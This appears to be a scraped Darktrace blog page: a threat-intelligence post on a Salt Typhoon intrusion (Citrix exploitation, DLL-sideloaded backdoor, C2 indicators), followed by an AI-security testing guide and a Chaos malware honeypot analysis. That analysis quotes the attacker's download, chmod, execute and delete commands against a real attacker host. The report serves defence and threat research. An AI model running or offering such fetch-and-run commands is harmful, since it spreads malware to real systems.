Salty Much: Darktrace’s view on a recent Salt Typhoon intrusion

Salty Much: Darktrace’s take on a recent Salt Typhoon intrusion Webinar, April 14th | Introducing the Adaptive Era of Email Security | Register Now Darktrace LIVE: Global Roadshow | Secure AI, Unlock Innovation | Register Now Solutions Why Darktrace Partners Resources Get a demo Solutions Why Darktrace Partners Resources Get a demo Blog / Network / October 20, 2025 Salty Much: Darktrace’s view on a recent Salt Typhoon intrusion Salt Typhoon, a China-linked cyber espionage group, has been observed targeting global infrastructure using stealthy techniques such as DLL sideloading and zero-day exploits. Darktrace recently identified early-stage intrusion activity consistent with Salt Typhoon’s tactics, reinforcing the importance of anomaly-based detection over traditional signature-based methods when defending against persistent, state-sponsored threat. Written by Nathaniel Jones VP, Security & AI Strategy, Field CISO Written by Sam Lister Specialist Security Researcher Inside the SOC Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field. Written by Nathaniel Jones VP, Security & AI Strategy, Field CISO Written by Sam Lister Specialist Security Researcher Share 20 Oct 2025 What is Salt Typhoon? ‍ Salt Typhoon represents one of the most persistent and sophisticated cyber threats targeting global critical infrastructure today. Believed to be linked to state-sponsored actors from the People’s Republic of China (PRC), this advanced persistent threat (APT) group has executed a series of high-impact campaigns against telecommunications providers, energy networks, and government systems—most notably across the United States. Active since at least 2019, the group — also tracked as Earth Estries, GhostEmperor, and UNC2286 — has demonstrated advanced capabilities in exploiting edge devices, maintaining deep persistence, and exfiltrating sensitive data across more than 80 countries. While much of the public reporting has focused on U.S. targets, Salt Typhoon’s operations have extended into Europe, the Middle East, and Africa (EMEA) where it has targeted telecoms, government entities, and technology firms. Its use of custom malware and exploitation of high-impact vulnerabilities (e.g., Ivanti, Fortinet, Cisco) underscores the strategic nature of its campaigns, which blend intelligence collection with geopolitical influence [1]. Leveraging zero-day exploits, obfuscation techniques, and lateral movement strategies, Salt Typhoon has demonstrated an alarming ability to evade detection and maintain long-term access to sensitive environments. The group’s operations have exposed lawful intercept systems, compromised metadata for millions of users, and disrupted essential services, prompting coordinated responses from intelligence agencies and private-sector partners worldwide. As organizations reassess their threat models, Salt Typhoon serves as a stark reminder of the evolving nature of nation-state cyber operations and the urgent need for proactive defense strategies. Darktrace’s coverage In this case, Darktrace observed activity in a European telecommunications organization consistent with Salt Typhoon’s known tactics, techniques and procedures (TTPs), including dynamic-link library (DLL) sideloading and abuse of legitimate software for stealth and execution. Initial access The intrusion began with exploitation of CVE-2025-5777 , a vulnerability affecting Citrix NetScaler Gateway appliances, in the first week of July 2025. From there, the actor pivoted to Citrix Virtual Delivery Agent (VDA) hosts in the client’s Machine Creation Services (MCS) subnet. Initial access activities in the intrusion originated from an endpoint potentially associated with the SoftEther VPN service, suggesting infrastructure obfuscation from the outset. Tooling Darktrace subsequently observed the threat actor delivering a backdoor assessed with high confidence to be SNAPPYBEE (also known as Deed RAT) [2][3] to multiple Citrix VDA hosts. The backdoor was delivered to these internal endpoints as a DLL alongside legitimate executable files for antivirus software such as Norton Antivirus, Bkav Antivirus, and IObit Malware Fighter. This pattern of activity indicates that the attacker relied on DLL side-loading via legitimate antivirus software to execute their payloads. Salt Typhoon and similar groups have a history of employing this technique [4][5], enabling them to execute payloads under the guise of trusted software and bypassing traditional security controls. Command-and-Control (C2) The backdoor delivered by the threat actor leveraged LightNode VPS endpoints for C2, communicating over both HTTP and an unidentified TCP-based protocol . This dual-channel setup is consistent with Salt Typhoon’s known use of non-standard and layered protocols to evade detection. The HTTP communications displayed by the backdoor included POST requests with an Internet Explorer User-Agent header and Target URI patterns such as “/17ABE7F017ABE7F0”. One of the C2 hosts contacted by compromised endpoints was aar.gandhibludtric[.]com (38.54.63[.]75), a domain recently linked to Salt Typhoon [6]. Detection timeline Darktrace produced high confidence detections in response to the early stages of the intrusion, with both the initial tooling and C2 activities being strongly covered by both investigations by Darktrace Cyber AI Analyst TM investigations and Darktrace models. Despite the sophistication of the threat actor, the intrusion activity identified and remediated before escalating beyond these early stages of the attack, w ith Darktrace’s timely high-confidence detections likely playing a key role in neutralizing the threat. Cyber AI Analyst observations Darktrace’s Cyber AI Analyst autonomously investigated the model alerts generated by Darktrace during the early stages of the intrusion. Through its investigations, Cyber AI Analyst discovered the initial tooling and C2 events and pieced them together into unified incidents representing the attacker’s progression. Figure 1: Cyber AI Analyst weaved together separate events from the intrusion into broader incidents summarizing the attacker’s progression. Conclusion Based on overlaps in TTPs, staging patterns, infrastructure, and malware, Darktrace assesses with moderate confidence that the observed activity was consistent with Salt Typhoon/Earth Estries (ALA GhostEmperor/UNC2286). Salt Typhoon continues to challenge defenders with its stealth, persistence, and abuse of legitimate tools. As attackers increasingly blend into normal operations, detecting behavioral anomalies becomes essential for identifying subtle deviations and correlating disparate signals. The evolving nature of Salt Typhoon’s tradecraft, and its ability to repurpose trusted software and infrastructure, ensures it will remain difficult to detect using conventional methods alone. This intrusion highlights the importance of proactive defense , where anomaly-based detections, not just signature matching, play a critical role in surfacing early-stage activity. Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISO), Sam Lister (Specialist Security Researcher), Emma Foulger (Global Threat Research Operations Lead), Adam Potter (Senior Cyber Analyst) Edited by Ryan Traill (Analyst Content Lead) Appendices Indicators of Compromise (IoCs) IoC-Type-Description + Confidence 89.31.121[.]101 – IP Address – Possible C2 server hxxp://89.31.121[.]101:443/WINMM.dll - URI – Likely SNAPPYBEE download b5367820cd32640a2d5e4c3a3c1ceedbbb715be2 - SHA1 – Likely SNAPPYBEE download hxxp://89.31.121[.]101:443/NortonLog.txt - URI - Likely DLL side-loading activity hxxp://89.31.121[.]101:443/123.txt - URI - Possible DLL side-loading activity hxxp://89.31.121[.]101:443/123.tar - URI - Possible DLL side-loading activity hxxp://89.31.121[.]101:443/pdc.exe - URI - Possible DLL side-loading activity hxxp://89.31.121[.]101:443//Dialog.dat - URI - Possible DLL side-loading activity hxxp://89.31.121[.]101:443/fltLib.dll - URI - Possible DLL side-loading activity hxxp://89.31.121[.]101:443/DisplayDialog.exe - URI - Possible DLL side-loading activity hxxp://89.31.121[.]101:443/DgApi.dll - URI - Likely DLL side-loading activity hxxp://89.31.121[.]101:443/dbindex.dat - URI - Likely DLL side-loading activity hxxp://89.31.121[.]101:443/1.txt - URI - Possible DLL side-loading activity hxxp://89.31.121[.]101:443/imfsbDll.dll – Likely DLL side-loading activity hxxp://89.31.121[.]101:443/imfsbSvc.exe - URI – Likely DLL side-loading activity aar.gandhibludtric[.]com – Hostname – Likely C2 server 38.54.63[.]75 – IP – Likely C2 server 156.244.28[.]153 – IP – Possible C2 server hxxp://156.244.28[.]153/17ABE7F017ABE7F0 - URI – Possible C2 activity MITRE TTPs Technique | Description T1190 | Exploit Public-Facing Application - Citrix NetScaler Gateway compromise T1105 | Ingress Tool Transfer – Delivery of backdoor to internal hosts T1665 | Hide Infrastructure – Use of SoftEther VPN for C2 T1574.001 | Hijack Execution Flow: DLL – Execution of backdoor through DLL side-loading T1095 | Non-Application Layer Protocol – Unidentified application-layer protocol for C2 traffic T1071.001| Web Protocols – HTTP-based C2 traffic T1571| Non-Standard Port – Port 443 for unencrypted HTTP traffic Darktrace Model Alerts during intrusion Anomalous File::Internal::Script from Rare Internal Location Anomalous File::EXE from Rare External Location Anomalous File::Multiple EXE from Rare External Locations Anomalous Connection::Possible Callback URL Antigena::Network::External Threat::Antigena Suspicious File Block Antigena::Network::Significant Anomaly::Antigena Significant Server Anomaly Block Antigena::Network::Significant Anomaly::Antigena Controlled and Model Alert Antigena::Network::Significant Anomaly::Antigena Alerts Over Time Block Antigena::Network::External Threat::Antigena File then New Outbound Block References [1] https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-239a [2] https://www.trendmicro.com/en_gb/research/24/k/earth-estries.html [3] https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/k/earth-estries/IOC_list-EarthEstries.txt [4] https://www.trendmicro.com/en_gb/research/24/k/breaking-down-earth-estries-persistent-ttps-in-prolonged-cyber-o.html [5] https://lab52.io/blog/deedrat-backdoor-enhanced-by-chinese-apts-with-advanced-capabilities/ [6] https://www.silentpush.com/blog/salt-typhoon-2025/ The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties. Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation. Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog. The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content. Written by Nathaniel Jones VP, Security & AI Strategy, Field CISO Written by Sam Lister Specialist Security Researcher Inside the SOC Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field. Written by Nathaniel Jones VP, Security & AI Strategy, Field CISO Written by Sam Lister Specialist Security Researcher Share this post Latest blogs Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud • April 7, 2026 Nathaniel Bill Malware Research Engineer How to Secure AI and Find the Gaps in Your Security Operations AI • April 8, 2026 Nabil Zoldjalali VP, Field CISO Watch the NIS2 Webinar Newsletter Enjoying the blog? Sign up to receive the latest news and insights from the Darktrace newsletter – delivered directly to your inbox Thanks for signing up! Look out for your first newsletter, coming soon. Oops! Something went wrong while submitting the form. Trending blogs 1 Darktrace Recognized as the Only Visionary in the 2026 Gartner® Magic Quadrant™ for CPS Protection Platforms Mar 20, 2026 2 What the Darktrace Annual Threat Report 2026 Means for Security Leaders Feb 26, 2026 3 State of AI Cybersecurity 2026: 92% of security professionals concerned about the impact of AI agents Mar 26, 2026 4 Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace Dec 15, 2025 5 Darktrace Unites Human Behavior and Threat Detection Across Email, Slack, Teams, and Zoom Mar 24, 2026 More in this series No items found. Continue reading Network • April 2, 2026 How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience Darktrace's latest threat research reveals how Chinese-nexus cyber operations have evolved from isolated intrusions into long-term strategic positioning, with attackers prioritizing persistent access to critical infrastructure and digital ecosystems to gain lasting operational and economic advantage. Nathaniel Jones VP, Security & AI Strategy, Field CISO Read more Network • March 26, 2026 Phantom Footprints: Tracking GhostSocks Malware GhostSocks is an emerging threat turning compromised devices into residential proxy nodes to help attackers evade detection. Darktrace identifies its growing use alongside Lumma Stealer, highlighting the malware’s stealth, payload delivery, and persistence. AI-driven detection and Autonomous Response reveal the full attack lifecycle and underscore the need for proactive defense. Isabel Evans Cyber Analyst Read more Network • March 17, 2026 When Reality Diverges from the Playbook: Darktrace Identifies Encryption in a World Leaks Ransomware Attack World Leaks, a rebrand of Hunters International, are known for their extortion-only attack model, abandoning the tactic of file encryption. However, contrary to these claims, Darktrace detected a World Leaks compromise where a ransomware payload was deployed, and customer data was encrypted. Tiana Kelly Senior Cyber Analyst & Team Lead Read more Blog / AI / April 8, 2026 How to Secure AI and Find the Gaps in Your Security Operations What “securing AI” actually means (and doesn’t) Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together. At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services. First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment. Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction. From cloud consolidation to AI systems what we can learn We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations. Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers. Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale. In the React2Shell window , defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking. You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds. Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes. The case for a platform approach in the age of AI Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel , not in sequence. In practice, that looks like: Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.) Pre‑CVE and “in‑the‑wild” awarenes s feeding controls before signatures—reducing dwell time in fast exploitation windows. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.) Investigation workflows that assume AI is in the loop —for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early. This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance. The five questions that matter (and the one that matters more) When alerted to malicious or risky AI use, you’ll ask: What happened? Who did it? Why did they do it? How did they do it? Where else can this happen? The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast). What to watch next: How the AI security market will likely evolve Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination. AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths. Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks. Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist . Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation. Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams. Below are the key integration questions and stack‑maturity tests every organization should run. 1. Do your controls see the same event the same way? Integration questions When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools? Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching? Why it matters Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones , such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior. If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control. Tests you can run Shadow Identity Test Create a temporary identity with no history. Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request. Expected maturity signal : other tools (email/SaaS/network) should immediately score the identity as high‑risk. Context Propagation Test Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity. Low maturity signal: nothing changes unless an analyst manually intervenes. 2. Does detection trigger coordinated action, or does everything act alone? Integration questions When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit? Does your stack support bounded autonomy — automated micro‑containment without broad business disruption? Why it matters In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours. Tests you can run Chain Reaction Test Simulate a primitive threat (e.g., access from TOR exit node). Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate. Weak seam indicator: only one tool reacts. Autonomous Boundary Test Induce a low‑grade anomaly (credential spray simulation). Evaluate whether automated containment rules activate without breaking legitimate workflows. 3. Can your team investigate a cross‑domain incident without swivel‑chairing? Integration questions Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative , not five consoles? Does your investigation tooling use graphs or sequence-based reasoning , or is it list‑based? Why it matters Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles. Tests you can run One‑Hour Timeline Build Test Pick any detection. Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress. Weak seam indicator: they spend >50% of the hour stitching exports. Multi‑Hop Replay Test Simulate an incident that crosses domains (phish → SaaS token → data access). Evaluate whether the investigative platform auto‑reconstructs the chain. 4. Do you detect intent or only outcomes? Integration questions Can your stack detect the setup behaviors before an attack becomes irreversible? Are you catching pre‑CVE anomalies or post‑compromise symptoms? Why it matters Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment. Tests you can run Intent‑Before‑Impact Test Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing). Mature systems will flag intent even without an exploit. CVE‑Window Test During a real CVE patch cycle, measure detection lag vs. public PoC release. Weak seam indicator: your detection rises only after mass exploitation begins. 5. Are response and remediation two separate universes? Integration questions When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture? Does fixing a misconfiguration automatically update correlated controls? Why it matters Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel. Tests you can run Closed‑Loop Remediation Test Introduce a small misconfiguration (over‑permissioned identity). Trigger an anomaly. Mature stacks will: detect → contain → recommend or automate posture repair. Drift‑Regression Test After remediation, intentionally re‑introduce drift. The system should immediately recognize deviation from known‑good baseline. 6. Do SaaS, cloud, email, and identity all agree on “normal”? Integration questions Is “normal behavior” defined in one place or many? Do baselines update globally or per-tool? Why it matters Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another. Tests you can run Baseline Drift Test Change the behavior of a service account for 24 hours. Mature platforms will flag the deviation early and propagate updated expectations. Cross‑Domain Baseline Consistency Test Compare identity’s risk score vs. cloud vs. SaaS. Weak seam indicator: risk scores don’t align. Final takeaway Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam. Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows. Continue reading About the author Nabil Zoldjalali VP, Field CISO Blog / / April 7, 2026 Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud Introduction To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure. One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware. What is Chaos Malware? First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet. Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining. Darktrace’s view of a Chaos Malware Compromise The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application. Figure 1: The initial infection being delivered to the unsecured endpoint. This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands: ‍ curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable. ‍ chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware. ‍ ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware ‍ rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity. In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services. Analysis of the updated Chaos malware sample Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit. The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub. Figure 2: The creation of the systemd persistence service. Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols: HTTP TLS TCP UDP WebSocket However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively. A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server. Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed. In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators. The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server. At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong. Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing. Key takeaways While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach. It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace. The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns. Credit to Nathaniel Bill (Malware Research Engineer) Edited by Ryan Traill (Content Manager) Indicators of Compromise (IoCs) ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash 182[.]90.229.95 - Attacker IP pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server References [1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/ Continue reading About the author Nathaniel Bill Malware Research Engineer Your data. Our AI. Elevate your network security with Darktrace AI Get a demo Check out this article by Darktrace: Salty Much: Darktrace’s take on a recent Salt Typhoon intrusion